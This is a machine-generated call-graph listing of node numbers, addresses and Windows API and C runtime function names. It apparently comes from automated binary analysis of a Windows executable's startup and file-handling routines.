InitializeCriticalSectionAndSpinCount __fcloseall 85263->85355 85264->85263 85267 422370 85266->85267 85268 422374 85266->85268 85267->85195 85269 416fb6 __malloc_crt 67 API calls 85268->85269 85270 422395 _memcpy_s 85269->85270 85271 42239c FreeEnvironmentStringsW 85270->85271 85271->85195 85273 4222e6 _wparse_cmdline 85272->85273 85274 416fb6 __malloc_crt 67 API calls 85273->85274 85275 422329 _wparse_cmdline 85273->85275 85274->85275 85275->85197 85277 42209a _wcslen 85276->85277 85281 416267 85276->85281 85278 416ffb __calloc_crt 67 API calls 85277->85278 85284 4220be _wcslen 85278->85284 85279 422123 85280 413a88 ___free_lconv_num 67 API calls 85279->85280 85280->85281 85281->85202 85321 4117af 67 API calls 3 library calls 85281->85321 85282 416ffb __calloc_crt 67 API calls 85282->85284 85283 422149 85285 413a88 ___free_lconv_num 67 API calls 85283->85285 85284->85279 85284->85281 85284->85282 85284->85283 85287 422108 85284->85287 85357 426349 67 API calls __controlfp_s 85284->85357 85285->85281 85287->85284 85358 417d93 10 API calls 3 library calls 85287->85358 85290 41187c __IsNonwritableInCurrentImage 85289->85290 85359 418486 85290->85359 85292 41189a __initterm_e 85293 411421 __cinit 74 API calls 85292->85293 85294 4118b9 __IsNonwritableInCurrentImage __initterm 85292->85294 85293->85294 85294->85205 85296 431bcb 85295->85296 85297 40d80c 85295->85297 85298 4092c0 VariantClear 85297->85298 85299 40d847 85298->85299 85363 40eb50 85299->85363 85302 40d877 85366 411ac6 67 API calls 4 library calls 85302->85366 85305 40d888 85367 411b24 67 API calls __controlfp_s 85305->85367 85307 40d891 85368 40f370 SystemParametersInfoW SystemParametersInfoW 85307->85368 85309 40d89f 85369 40d6d0 GetCurrentDirectoryW 85309->85369 85311 40d8a7 SystemParametersInfoW 85312 40d8cd 85311->85312 85313 4092c0 VariantClear 85312->85313 85314 40d8dd 85313->85314 85315 4092c0 VariantClear 85314->85315 85316 40d8e6 85315->85316 85316->85210 85323 411a1f 67 API calls _doexit 85316->85323 85317->85183 85318->85187 85319->85194 85320->85200 85321->85202 85322->85207 85323->85210 85324->85213 85325->85224 85326->85231 85327->85241 85331 417004 85328->85331 85330 416f70 85330->85221 85330->85246 85331->85330 85332 417022 Sleep 85331->85332 85336 422452 85331->85336 85333 417037 85332->85333 85333->85330 85333->85331 85334->85250 85335->85227 85337 42245e __fcloseall 85336->85337 85338 422476 85337->85338 85346 422495 _memset 85337->85346 85349 417f23 67 API calls __getptd_noexit 85338->85349 85340 42247b 85350 417ebb 6 API calls 2 library calls 85340->85350 85341 422507 HeapAlloc 85341->85346 85344 418407 __lock 66 API calls 85344->85346 85345 42248b __fcloseall 85345->85331 85346->85341 85346->85344 85346->85345 85351 41a74c 5 API calls 2 library calls 85346->85351 85352 42254e LeaveCriticalSection _doexit 85346->85352 85353 411afc 6 API calls __decode_pointer 85346->85353 85349->85340 85351->85346 85352->85346 85353->85346 85354->85253 85355->85263 85356->85260 85357->85284 85358->85287 85361 41848c 85359->85361 85360 41696e __encode_pointer 6 API calls 85360->85361 85361->85360 85362 4184a4 85361->85362 85362->85292 85407 40eb70 85363->85407 85366->85305 85367->85307 85368->85309 85411 401f80 85369->85411 85371 40d6f1 IsDebuggerPresent 85372 431a9d MessageBoxA 85371->85372 85373 40d6ff 85371->85373 85374 431ab6 85372->85374 85373->85374 85375 40d71f 85373->85375 85513 403e90 75 API calls 3 library calls 85374->85513 85481 40f3b0 85375->85481 85379 40d73a GetFullPathNameW 85511 401440 127 API calls _wcscat 85379->85511 85381 40d77a 85382 40d782 85381->85382 85383 431b09 SetCurrentDirectoryW 85381->85383 85384 40d78b 85382->85384 85514 43604b 6 API calls 85382->85514 85383->85382 85493 4101f0 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 85384->85493 85387 431b28 85387->85384 85389 431b30 GetModuleFileNameW 85387->85389 85391 431ba4 GetForegroundWindow ShellExecuteW 85389->85391 85392 431b4c 85389->85392 85394 40d7c7 85391->85394 85515 401b70 85392->85515 85393 40d795 85401 40d7a8 85393->85401 85501 40e1e0 85393->85501 85398 40d7d1 SetCurrentDirectoryW 85394->85398 85398->85311 85400 431b66 85522 40d3b0 75 API calls 2 library calls 85400->85522 85401->85394 85512 401000 Shell_NotifyIconW _memset 85401->85512 85404 431b72 GetForegroundWindow ShellExecuteW 85405 431b9f 85404->85405 85405->85394 85406 40eba0 LoadLibraryA GetProcAddress 85406->85302 85408 40d86e 85407->85408 85409 40eb76 LoadLibraryA 85407->85409 85408->85302 85408->85406 85409->85408 85410 40eb87 GetProcAddress 85409->85410 85410->85408 85523 40e680 85411->85523 85415 401fa2 GetModuleFileNameW 85541 40ff90 85415->85541 85417 401fbd 85553 4107b0 85417->85553 85420 401b70 75 API calls 85421 401fe4 85420->85421 85556 4019e0 85421->85556 85423 401ff2 85424 4092c0 VariantClear 85423->85424 85425 402002 85424->85425 85426 401b70 75 API calls 85425->85426 85427 40201c 85426->85427 85428 4019e0 76 API calls 85427->85428 85429 40202c 85428->85429 85430 401b70 75 API calls 85429->85430 85431 40203c 85430->85431 85564 40c3e0 85431->85564 85433 40204d 85434 40c060 75 API calls 85433->85434 85435 402061 85434->85435 85582 401a70 85435->85582 85437 40206e 85589 4115d0 85437->85589 85440 42c174 85442 401a70 75 API calls 85440->85442 85441 402088 85443 4115d0 __wcsicoll 79 API calls 85441->85443 85444 42c189 85442->85444 85445 402093 85443->85445 85447 401a70 75 API calls 85444->85447 85445->85444 85446 40209e 85445->85446 85448 4115d0 __wcsicoll 79 API calls 85446->85448 85449 42c1a7 85447->85449 85450 4020a9 85448->85450 85451 42c1b0 GetModuleFileNameW 85449->85451 85450->85451 85452 4020b4 85450->85452 85454 401a70 75 API calls 85451->85454 85453 4115d0 __wcsicoll 79 API calls 85452->85453 85455 4020bf 85453->85455 85456 42c1e2 85454->85456 85457 402107 85455->85457 85461 401a70 75 API calls 85455->85461 85466 42c20a _wcscpy 85455->85466 85601 40df50 75 API calls 85456->85601 85460 402119 85457->85460 85457->85466 85459 42c1f1 85462 401a70 75 API calls 85459->85462 85463 42c243 85460->85463 85597 40e7e0 76 API calls 85460->85597 85464 4020e5 _wcscpy 85461->85464 85465 42c201 85462->85465 85472 401a70 75 API calls 85464->85472 85465->85466 85468 401a70 75 API calls 85466->85468 85476 402148 85468->85476 85469 402132 85598 40d030 76 API calls 85469->85598 85471 40213e 85473 4092c0 VariantClear 85471->85473 85472->85457 85473->85476 85474 402184 85478 4092c0 VariantClear 85474->85478 85476->85474 85479 401a70 75 API calls 85476->85479 85599 40d030 76 API calls 85476->85599 85600 40e640 76 API calls 85476->85600 85480 402196 ctype 85478->85480 85479->85476 85480->85371 85482 42ccf4 _memset 85481->85482 85483 40f3c9 85481->85483 85485 42cd05 GetOpenFileNameW 85482->85485 86284 40ffb0 76 API calls ctype 85483->86284 85485->85483 85487 40d732 85485->85487 85486 40f3d2 86285 410130 SHGetMalloc 85486->86285 85487->85379 85487->85381 85489 40f3d9 86290 410020 88 API calls __wcsicoll 85489->86290 85491 40f3e7 86291 40f400 85491->86291 85494 42b9d3 85493->85494 85495 41025a LoadImageW RegisterClassExW 85493->85495 86343 443e8f EnumResourceNamesW LoadImageW 85494->86343 86342 4102f0 7 API calls 85495->86342 85498 40d790 85500 4103e0 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 85498->85500 85499 42b9da 85500->85393 85503 40e207 _memset 85501->85503 85502 40e262 85505 40e2a4 85502->85505 86366 43737d 84 API calls __wcsicoll 85502->86366 85503->85502 85504 42aa14 DestroyIcon 85503->85504 85504->85502 85507 40e2c0 Shell_NotifyIconW 85505->85507 85508 42aa50 Shell_NotifyIconW 85505->85508 86344 401be0 85507->86344 85510 40e2da 85510->85401 85511->85381 85512->85394 85513->85381 85514->85387 85516 401b76 _wcslen 85515->85516 85517 41171a 75 API calls 85516->85517 85520 401bc5 85516->85520 85518 401bad _memcpy_s 85517->85518 85519 41171a 75 API calls 85518->85519 85519->85520 85521 40d3b0 75 API calls 2 library calls 85520->85521 85521->85400 85522->85404 85524 40c060 75 API calls 85523->85524 85525 401f90 85524->85525 85526 402940 85525->85526 85527 40294a __write_nolock 85526->85527 85602 4021e0 85527->85602 85530 402972 85540 4029a4 85530->85540 85614 401cf0 85530->85614 85531 402ae0 75 API calls 85531->85540 85532 402a8c 85533 401b70 75 API calls 85532->85533 85539 402abe 85532->85539 85535 402ab3 85533->85535 85534 401b70 75 API calls 85534->85540 85618 40d970 75 API calls 2 library calls 85535->85618 85537 401cf0 75 API calls 85537->85540 85539->85415 85540->85531 85540->85532 85540->85534 85540->85537 85617 40d970 75 API calls 2 library calls 85540->85617 85620 40f5e0 85541->85620 85544 40ffa6 85544->85417 85546 42b6d8 85547 42b6e6 85546->85547 85676 434fe1 85546->85676 85548 413a88 ___free_lconv_num 67 API calls 85547->85548 85550 42b6f5 85548->85550 85551 434fe1 106 API calls 85550->85551 85552 42b702 85551->85552 85552->85417 85554 41171a 75 API calls 85553->85554 85555 401fd6 85554->85555 85555->85420 85557 401a03 85556->85557 85559 4019e5 85556->85559 85558 401a1a 85557->85558 85557->85559 86273 404260 76 API calls 85558->86273 85561 4019ff 85559->85561 86272 404260 76 API calls 85559->86272 85561->85423 85563 401a26 85563->85423 85565 40c3e4 85564->85565 85566 40c42c 85564->85566 85567 40c3f0 85565->85567 85568 42a475 85565->85568 85569 42a422 85566->85569 85570 40c435 85566->85570 86274 4042f0 75 API calls __cinit 85567->86274 86279 453155 75 API calls 85568->86279 85572 42a427 85569->85572 85573 42a445 85569->85573 85574 40c441 85570->85574 85575 42a455 85570->85575 85580 40c3fb 85572->85580 86276 453155 75 API calls 85572->86276 86277 453155 75 API calls 85573->86277 86275 4042f0 75 API calls __cinit 85574->86275 86278 453155 75 API calls 85575->86278 85580->85433 85583 401a90 85582->85583 85584 401a77 85582->85584 85586 4021e0 75 API calls 85583->85586 85585 401a8d 85584->85585 86280 404080 75 API calls _memcpy_s 85584->86280 85585->85437 85588 401a9c 85586->85588 85588->85437 85590 411650 85589->85590 85591 4115e1 85589->85591 86283 4114bf 79 API calls 3 library calls 85590->86283 85596 40207d 85591->85596 86281 417f23 67 API calls __getptd_noexit 85591->86281 85594 4115ed 86282 417ebb 6 API calls 2 library calls 85594->86282 85596->85440 85596->85441 85597->85469 85598->85471 85599->85476 85600->85476 85601->85459 85603 4021f1 _wcslen 85602->85603 85604 42a598 85602->85604 85607 402205 85603->85607 85608 402226 85603->85608 85605 40c740 75 API calls 85604->85605 85606 42a5a2 85605->85606 85619 404020 75 API calls ctype 85607->85619 85609 401380 75 API calls 85608->85609 85611 40222d 85609->85611 85611->85606 85613 41171a 75 API calls 85611->85613 85612 40220c _memcpy_s 85612->85530 85613->85612 85615 402ae0 75 API calls 85614->85615 85616 401cf7 85615->85616 85616->85530 85617->85540 85618->85539 85619->85612 85621 40f580 77 API calls 85620->85621 85622 40f5f8 _strcat ctype 85621->85622 85680 40f6d0 85622->85680 85627 42b2ee 85709 4151b0 85627->85709 85629 40f679 85629->85627 85630 40f681 85629->85630 85696 414e94 85630->85696 85635 40f68b 85635->85544 85639 452574 85635->85639 85636 42b31d 85636->85636 85715 415484 85636->85715 85638 42b33d 85640 41557c _fseek 105 API calls 85639->85640 85641 4525df 85640->85641 86217 4523ce 85641->86217 85644 4525fc 85644->85546 85645 4151b0 __fread_nolock 81 API calls 85646 45261d 85645->85646 85647 4151b0 __fread_nolock 81 API calls 85646->85647 85648 45262e 85647->85648 85649 4151b0 __fread_nolock 81 API calls 85648->85649 85650 452649 85649->85650 85651 4151b0 __fread_nolock 81 API calls 85650->85651 85652 452666 85651->85652 85653 41557c _fseek 105 API calls 85652->85653 85654 452682 85653->85654 85655 4138ba _malloc 67 API calls 85654->85655 85656 45268e 85655->85656 85657 4138ba _malloc 67 API calls 85656->85657 85658 45269b 85657->85658 85659 4151b0 __fread_nolock 81 API calls 85658->85659 85660 4526ac 85659->85660 85661 44afdc GetSystemTimeAsFileTime 85660->85661 85662 4526bf 85661->85662 85663 4526d5 85662->85663 85664 4526fd 85662->85664 85667 413a88 ___free_lconv_num 67 API calls 85663->85667 85665 452704 85664->85665 85666 45275b 85664->85666 86223 44b195 85665->86223 85670 413a88 ___free_lconv_num 67 API calls 85666->85670 85668 4526df 85667->85668 85671 413a88 ___free_lconv_num 67 API calls 85668->85671 85673 452759 85670->85673 85674 4526e8 85671->85674 85672 452753 85675 413a88 ___free_lconv_num 67 API calls 85672->85675 85673->85546 85674->85546 85675->85673 85677 434ff1 85676->85677 85678 434feb 85676->85678 85677->85547 85679 414e94 __fcloseall 106 API calls 85678->85679 85679->85677 85681 40f6dd _strlen 85680->85681 85728 40f790 85681->85728 85684 414e06 85748 414d40 85684->85748 85686 40f666 85686->85627 85687 40f450 85686->85687 85688 40f45a _strcat _memcpy_s __write_nolock 85687->85688 85689 4151b0 __fread_nolock 81 API calls 85688->85689 85691 42936d 85688->85691 85695 40f531 85688->85695 85831 41557c 85688->85831 85689->85688 85692 41557c _fseek 105 API calls 85691->85692 85693 429394 85692->85693 85694 4151b0 __fread_nolock 81 API calls 85693->85694 85694->85695 85695->85629 85697 414ea0 __fcloseall 85696->85697 85698 414ed1 85697->85698 85699 414eb4 85697->85699 85702 415965 __lock_file 68 API calls 85698->85702 85706 414ec9 __fcloseall 85698->85706 85970 417f23 67 API calls __getptd_noexit 85699->85970 85701 414eb9 85971 417ebb 6 API calls 2 library calls 85701->85971 85704 414ee9 85702->85704 85954 414e1d 85704->85954 85706->85635 86039 41511a 85709->86039 85711 4151c8 85712 44afdc 85711->85712 86210 4431e0 85712->86210 85714 44affd 85714->85636 85716 415490 __fcloseall 85715->85716 85717 4154bb 85716->85717 85718 41549e 85716->85718 85720 415965 __lock_file 68 API calls 85717->85720 86214 417f23 67 API calls __getptd_noexit 85718->86214 85722 4154c3 85720->85722 85721 4154a3 86215 417ebb 6 API calls 2 library calls 85721->86215 85724 4152e7 __ftell_nolock 71 API calls 85722->85724 85725 4154cf 85724->85725 86216 4154e8 LeaveCriticalSection LeaveCriticalSection __wfsopen 85725->86216 85727 4154b3 __fcloseall 85727->85638 85731 40f7ae _memset 85728->85731 85729 42a349 85731->85729 85732 40f628 85731->85732 85733 415258 85731->85733 85732->85684 85734 415285 85733->85734 85735 415268 85733->85735 85734->85735 85736 41528c 85734->85736 85744 417f23 67 API calls __getptd_noexit 85735->85744 85746 41c551 103 API calls 14 library calls 85736->85746 85739 41526d 85745 417ebb 6 API calls 2 library calls 85739->85745 85741 4152b2 85742 41527d 85741->85742 85747 4191c9 101 API calls 6 library calls 85741->85747 85742->85731 85744->85739 85746->85741 85747->85742 85749 414d4c __fcloseall 85748->85749 85750 414d5f 85749->85750 85752 414d95 85749->85752 85800 417f23 67 API calls __getptd_noexit 85750->85800 85767 41e28c 85752->85767 85753 414d64 85801 417ebb 6 API calls 2 library calls 85753->85801 85756 414d9a 85758 414da1 85756->85758 85759 414dae 85756->85759 85757 414d74 __fcloseall @_EH4_CallFilterFunc@8 85757->85686 85802 417f23 67 API calls __getptd_noexit 85758->85802 85761 414dd6 85759->85761 85762 414db6 85759->85762 85785 41dfd8 85761->85785 85803 417f23 67 API calls __getptd_noexit 85762->85803 85768 41e298 __fcloseall 85767->85768 85769 418407 __lock 67 API calls 85768->85769 85775 41e2a6 85769->85775 85770 41e322 85772 416fb6 __malloc_crt 67 API calls 85770->85772 85774 41e32c 85772->85774 85773 41e3b0 __fcloseall 85773->85756 85782 41e31b 85774->85782 85810 4189e6 InitializeCriticalSectionAndSpinCount __fcloseall 85774->85810 85775->85770 85776 418344 __mtinitlocknum 67 API calls 85775->85776 85775->85782 85808 4159a6 68 API calls __lock 85775->85808 85809 415a14 LeaveCriticalSection LeaveCriticalSection _doexit 85775->85809 85776->85775 85779 41e351 85780 41e35c 85779->85780 85781 41e36f EnterCriticalSection 85779->85781 85783 413a88 ___free_lconv_num 67 API calls 85780->85783 85781->85782 85805 41e3bb 85782->85805 85783->85782 85792 41dffb __wopenfile 85785->85792 85786 41e015 85815 417f23 67 API calls __getptd_noexit 85786->85815 85788 41e01a 85816 417ebb 6 API calls 2 library calls 85788->85816 85790 41e247 85812 425db0 85790->85812 85792->85786 85799 41e1e9 85792->85799 85817 4136bc 79 API calls 2 library calls 85792->85817 85795 41e1e2 85795->85799 85818 4136bc 79 API calls 2 library calls 85795->85818 85797 41e201 85797->85799 85819 4136bc 79 API calls 2 library calls 85797->85819 85799->85786 85799->85790 85800->85753 85802->85757 85803->85757 85804 414dfc LeaveCriticalSection LeaveCriticalSection __wfsopen 85804->85757 85811 41832d LeaveCriticalSection 85805->85811 85807 41e3c2 85807->85773 85808->85775 85809->85775 85810->85779 85811->85807 85820 425ce4 85812->85820 85814 414de1 85814->85804 85815->85788 85817->85795 85818->85797 85819->85799 85822 425cf0 __fcloseall 85820->85822 85821 425d03 85823 417f23 __controlfp_s 67 API calls 85821->85823 85822->85821 85824 425d41 85822->85824 85825 425d08 85823->85825 85827 4255c4 __tsopen_nolock 132 API calls 85824->85827 85826 417ebb __controlfp_s 6 API calls 85825->85826 85829 425d17 __fcloseall 85826->85829 85828 425d5b 85827->85828 85830 425d82 __sopen_helper LeaveCriticalSection 85828->85830 85829->85814 85830->85829 85832 415588 __fcloseall 85831->85832 85833 415596 85832->85833 85834 4155c4 85832->85834 85862 417f23 67 API calls __getptd_noexit 85833->85862 85844 415965 85834->85844 85837 41559b 85863 417ebb 6 API calls 2 library calls 85837->85863 85843 4155ab __fcloseall 85843->85688 85845 415977 85844->85845 85846 415999 EnterCriticalSection 85844->85846 85845->85846 85847 41597f 85845->85847 85849 4155cc 85846->85849 85848 418407 __lock 67 API calls 85847->85848 85848->85849 85850 4154f2 85849->85850 85851 415512 85850->85851 85852 415502 85850->85852 85854 415524 85851->85854 85865 4152e7 85851->85865 85919 417f23 67 API calls __getptd_noexit 85852->85919 85882 41486c 85854->85882 85855 415507 85864 4155f7 LeaveCriticalSection LeaveCriticalSection __wfsopen 85855->85864 85862->85837 85864->85843 85866 41531a 85865->85866 85867 4152fa 85865->85867 85868 41453a __fileno 67 API calls 85866->85868 85920 417f23 67 API calls __getptd_noexit 85867->85920 85870 415320 85868->85870 85873 41efd4 __locking 71 API calls 85870->85873 85871 4152ff 85921 417ebb 6 API calls 2 library calls 85871->85921 85875 415335 85873->85875 85874 41530f 85874->85854 85875->85874 85876 4153a9 85875->85876 85878 415364 85875->85878 85922 417f23 67 API calls __getptd_noexit 85876->85922 85878->85874 85879 41efd4 __locking 71 API calls 85878->85879 85880 415404 85879->85880 85880->85874 85881 41efd4 __locking 71 API calls 85880->85881 85881->85874 85883 414885 85882->85883 85887 4148a7 85882->85887 85884 41453a __fileno 67 API calls 85883->85884 85883->85887 85885 4148a0 85884->85885 85923 41c3cf 101 API calls 6 library calls 85885->85923 85888 41453a 85887->85888 85889 414549 85888->85889 85891 41455e 85888->85891 85924 417f23 67 API calls __getptd_noexit 85889->85924 85894 41efd4 85891->85894 85892 41454e 85925 417ebb 6 API calls 2 library calls 85892->85925 85895 41efe0 __fcloseall 85894->85895 85896 41f003 85895->85896 85897 41efe8 85895->85897 85899 41f011 85896->85899 85902 41f052 85896->85902 85946 417f36 67 API calls __getptd_noexit 85897->85946 85948 417f36 67 API calls __getptd_noexit 85899->85948 85900 41efed 85947 417f23 67 API calls __getptd_noexit 85900->85947 85926 41ba3b 85902->85926 85904 41f016 85949 417f23 67 API calls __getptd_noexit 85904->85949 85907 41f058 85910 41f065 85907->85910 85911 41f07b 85907->85911 85908 41f01d 85950 417ebb 6 API calls 2 library calls 85908->85950 85936 41ef5f 85910->85936 85951 417f23 67 API calls __getptd_noexit 85911->85951 85912 41eff5 __fcloseall 85912->85855 85915 41f073 85953 41f0a6 LeaveCriticalSection __unlock_fhandle 85915->85953 85916 41f080 85952 417f36 67 API calls __getptd_noexit 85916->85952 85919->85855 85920->85871 85922->85874 85923->85887 85924->85892 85927 41ba47 __fcloseall 85926->85927 85928 41baa2 85927->85928 85931 418407 __lock 67 API calls 85927->85931 85929 41bac4 __fcloseall 85928->85929 85930 41baa7 EnterCriticalSection 85928->85930 85929->85907 85930->85929 85932 41ba73 85931->85932 85934 4189e6 __alloc_osfhnd InitializeCriticalSectionAndSpinCount 85932->85934 85935 41ba8a 85932->85935 85933 41bad2 ___lock_fhandle LeaveCriticalSection 85933->85928 85934->85935 85935->85933 85937 41b9c4 __lseeki64_nolock 67 API calls 85936->85937 85938 41ef6e 85937->85938 85939 41ef84 SetFilePointer 85938->85939 85940 41ef74 85938->85940 85942 41efa3 85939->85942 85943 41ef9b GetLastError 85939->85943 85941 417f23 __controlfp_s 67 API calls 85940->85941 85944 41ef79 85941->85944 85942->85944 85945 417f49 __dosmaperr 67 API calls 85942->85945 85943->85942 85944->85915 85945->85944 85946->85900 85947->85912 85948->85904 85949->85908 85951->85916 85952->85915 85953->85912 85955 414e31 85954->85955 85956 414e4d 85954->85956 86000 417f23 67 API calls __getptd_noexit 85955->86000 85958 414e46 85956->85958 85960 41486c __flush 101 API calls 85956->85960 85972 414f08 LeaveCriticalSection LeaveCriticalSection __wfsopen 85958->85972 85959 414e36 86001 417ebb 6 API calls 2 library calls 85959->86001 85962 414e59 85960->85962 85973 41e680 85962->85973 85965 41453a __fileno 67 API calls 85966 414e67 85965->85966 85977 41e5b3 85966->85977 85968 414e6d 85968->85958 85969 413a88 ___free_lconv_num 67 API calls 85968->85969 85969->85958 85970->85701 85972->85706 85974 41e690 85973->85974 85975 414e61 85973->85975 85974->85975 85976 413a88 ___free_lconv_num 67 API calls 85974->85976 85975->85965 85976->85975 85978 41e5bf __fcloseall 85977->85978 85979 41e5e2 85978->85979 85980 41e5c7 85978->85980 85982 41e5f0 85979->85982 85986 41e631 85979->85986 86017 417f36 67 API calls __getptd_noexit 85980->86017 86019 417f36 67 API calls __getptd_noexit 85982->86019 85984 41e5cc 86018 417f23 67 API calls __getptd_noexit 85984->86018 85985 41e5f5 86020 417f23 67 API calls __getptd_noexit 85985->86020 85989 41ba3b ___lock_fhandle 68 API calls 85986->85989 85991 41e637 85989->85991 85990 41e5fc 86021 417ebb 6 API calls 2 library calls 85990->86021 85993 41e652 85991->85993 85994 41e644 85991->85994 86022 417f23 67 API calls __getptd_noexit 85993->86022 86002 41e517 85994->86002 85995 41e5d4 __fcloseall 85995->85968 85998 41e64c 86023 41e676 LeaveCriticalSection __unlock_fhandle 85998->86023 86000->85959 86024 41b9c4 86002->86024 86004 41e57d 86037 41b93e 68 API calls 2 library calls 86004->86037 86006 41e527 86006->86004 86007 41e55b 86006->86007 86009 41b9c4 __lseeki64_nolock 67 API calls 86006->86009 86007->86004 86010 41b9c4 __lseeki64_nolock 67 API calls 86007->86010 86008 41e585 86012 41e5a7 86008->86012 86038 417f49 67 API calls 3 library calls 86008->86038 86013 41e552 86009->86013 86011 41e567 CloseHandle 86010->86011 86011->86004 86014 41e573 GetLastError 86011->86014 86012->85998 86016 41b9c4 __lseeki64_nolock 67 API calls 86013->86016 86014->86004 86016->86007 86017->85984 86018->85995 86019->85985 86020->85990 86022->85998 86023->85995 86025 41b9d1 86024->86025 86026 41b9e9 86024->86026 86027 417f36 __set_osfhnd 67 API calls 86025->86027 86028 417f36 __set_osfhnd 67 API calls 86026->86028 86030 41ba2e 86026->86030 86029 41b9d6 86027->86029 86031 41ba17 86028->86031 86032 417f23 __controlfp_s 67 API calls 86029->86032 86030->86006 86033 417f23 __controlfp_s 67 API calls 86031->86033 86034 41b9de 86032->86034 86035 41ba1e 86033->86035 86034->86006 86036 417ebb __controlfp_s 6 API calls 86035->86036 86036->86030 86037->86008 86038->86012 86040 415126 __fcloseall 86039->86040 86041 41513a _memset 86040->86041 86042 41516f 86040->86042 86043 415164 __fcloseall 86040->86043 86068 417f23 67 API calls __getptd_noexit 86041->86068 86044 415965 __lock_file 68 API calls 86042->86044 86043->85711 86046 415177 86044->86046 86052 414f10 86046->86052 86047 415154 86069 417ebb 6 API calls 2 library calls 86047->86069 86056 414f2e _memset 86052->86056 86058 414f4c 86052->86058 86053 414f37 86121 417f23 67 API calls __getptd_noexit 86053->86121 86055 414f3c 86122 417ebb 6 API calls 2 library calls 86055->86122 86056->86053 86056->86058 86061 414f8b 86056->86061 86070 4151a6 LeaveCriticalSection LeaveCriticalSection __wfsopen 86058->86070 86060 4150a9 _memset 86124 417f23 67 API calls __getptd_noexit 86060->86124 86061->86058 86061->86060 86062 4150d5 _memset 86061->86062 86063 41453a __fileno 67 API calls 86061->86063 86071 41ed9e 86061->86071 86101 41e6b1 86061->86101 86123 41ee9b 67 API calls 3 library calls 86061->86123 86125 417f23 67 API calls __getptd_noexit 86062->86125 86063->86061 86068->86047 86070->86043 86072 41edaa __fcloseall 86071->86072 86073 41edb2 86072->86073 86074 41edcd 86072->86074 86195 417f36 67 API calls __getptd_noexit 86073->86195 86075 41eddb 86074->86075 86080 41ee1c 86074->86080 86197 417f36 67 API calls __getptd_noexit 86075->86197 86078 41edb7 86196 417f23 67 API calls __getptd_noexit 86078->86196 86079 41ede0 86198 417f23 67 API calls __getptd_noexit 86079->86198 86083 41ee29 86080->86083 86084 41ee3d 86080->86084 86200 417f36 67 API calls __getptd_noexit 86083->86200 86085 41ba3b ___lock_fhandle 68 API calls 86084->86085 86088 41ee43 86085->86088 86086 41ede7 86199 417ebb 6 API calls 2 library calls 86086->86199 86090 41ee50 86088->86090 86091 41ee66 86088->86091 86089 41ee2e 86201 417f23 67 API calls __getptd_noexit 86089->86201 86126 41e7dc 86090->86126 86202 417f23 67 API calls __getptd_noexit 86091->86202 86094 41edbf __fcloseall 86094->86061 86097 41ee5e 86204 41ee91 LeaveCriticalSection __unlock_fhandle 86097->86204 86098 41ee6b 86203 417f36 67 API calls __getptd_noexit 86098->86203 86102 41e6c1 86101->86102 86105 41e6de 86101->86105 86208 417f23 67 API calls __getptd_noexit 86102->86208 86104 41e6c6 86209 417ebb 6 API calls 2 library calls 86104->86209 86107 41e713 86105->86107 86115 41e6d6 86105->86115 86205 423600 86105->86205 86109 41453a __fileno 67 API calls 86107->86109 86110 41e727 86109->86110 86111 41ed9e __read 79 API calls 86110->86111 86112 41e72e 86111->86112 86113 41453a __fileno 67 API calls 86112->86113 86112->86115 86114 41e751 86113->86114 86114->86115 86116 41453a __fileno 67 API calls 86114->86116 86115->86061 86117 41e75d 86116->86117 86117->86115 86118 41453a __fileno 67 API calls 86117->86118 86119 41e769 86118->86119 86120 41453a __fileno 67 API calls 86119->86120 86120->86115 86121->86055 86123->86061 86124->86055 86125->86055 86127 41e813 86126->86127 86128 41e7f8 86126->86128 86130 41e822 86127->86130 86132 41e849 86127->86132 86129 417f36 __set_osfhnd 67 API calls 86128->86129 86131 41e7fd 86129->86131 86133 417f36 __set_osfhnd 67 API calls 86130->86133 86135 417f23 __controlfp_s 67 API calls 86131->86135 86134 41e868 86132->86134 86148 41e87c 86132->86148 86136 41e827 86133->86136 86137 417f36 __set_osfhnd 67 API calls 86134->86137 86149 41e805 86135->86149 86139 417f23 __controlfp_s 67 API calls 86136->86139 86141 41e86d 86137->86141 86138 41e8d4 86140 417f36 __set_osfhnd 67 API calls 86138->86140 86142 41e82e 86139->86142 86143 41e8d9 86140->86143 86144 417f23 __controlfp_s 67 API calls 86141->86144 86145 417ebb __controlfp_s 6 API calls 86142->86145 86146 417f23 __controlfp_s 67 API calls 86143->86146 86147 41e874 86144->86147 86145->86149 86146->86147 86152 417ebb __controlfp_s 6 API calls 86147->86152 86148->86138 86148->86149 86150 41e8b0 86148->86150 86151 41e8f5 86148->86151 86149->86097 86150->86138 86157 41e8bb ReadFile 86150->86157 86154 416fb6 __malloc_crt 67 API calls 86151->86154 86152->86149 86158 41e90b 86154->86158 86155 41ed62 GetLastError 86159 41ebe8 86155->86159 86160 41ed6f 86155->86160 86156 41e9e7 86156->86155 86163 41e9fb 86156->86163 86157->86155 86157->86156 86161 41e931 86158->86161 86162 41e913 86158->86162 86169 417f49 __dosmaperr 67 API calls 86159->86169 86174 41eb6d 86159->86174 86165 417f23 __controlfp_s 67 API calls 86160->86165 86164 423462 __lseeki64_nolock 69 API calls 86161->86164 86166 417f23 __controlfp_s 67 API calls 86162->86166 86163->86174 86176 41ec2d 86163->86176 86177 41ea17 86163->86177 86167 41e93d 86164->86167 86168 41ed74 86165->86168 86170 41e918 86166->86170 86167->86157 86172 417f36 __set_osfhnd 67 API calls 86168->86172 86169->86174 86171 417f36 __set_osfhnd 67 API calls 86170->86171 86171->86149 86172->86174 86173 413a88 ___free_lconv_num 67 API calls 86173->86149 86174->86149 86174->86173 86175 41eca5 ReadFile 86180 41ecc4 GetLastError 86175->86180 86187 41ecce 86175->86187 86176->86174 86176->86175 86178 41ea7d ReadFile 86177->86178 86183 41eafa 86177->86183 86179 41ea9b GetLastError 86178->86179 86186 41eaa5 86178->86186 86179->86177 86179->86186 86180->86176 86180->86187 86181 41ebbe MultiByteToWideChar 86181->86174 86182 41ebe2 GetLastError 86181->86182 86182->86159 86183->86174 86184 41eb75 86183->86184 86185 41eb68 86183->86185 86189 41eb32 86183->86189 86184->86189 86190 41ebac 86184->86190 86188 417f23 __controlfp_s 67 API calls 86185->86188 86186->86177 86191 423462 __lseeki64_nolock 69 API calls 86186->86191 86187->86176 86192 423462 __lseeki64_nolock 69 API calls 86187->86192 86188->86174 86189->86181 86193 423462 __lseeki64_nolock 69 API calls 86190->86193 86191->86186 86192->86187 86194 41ebbb 86193->86194 86194->86181 86195->86078 86196->86094 86197->86079 86198->86086 86200->86089 86201->86086 86202->86098 86203->86097 86204->86094 86206 416fb6 __malloc_crt 67 API calls 86205->86206 86207 423615 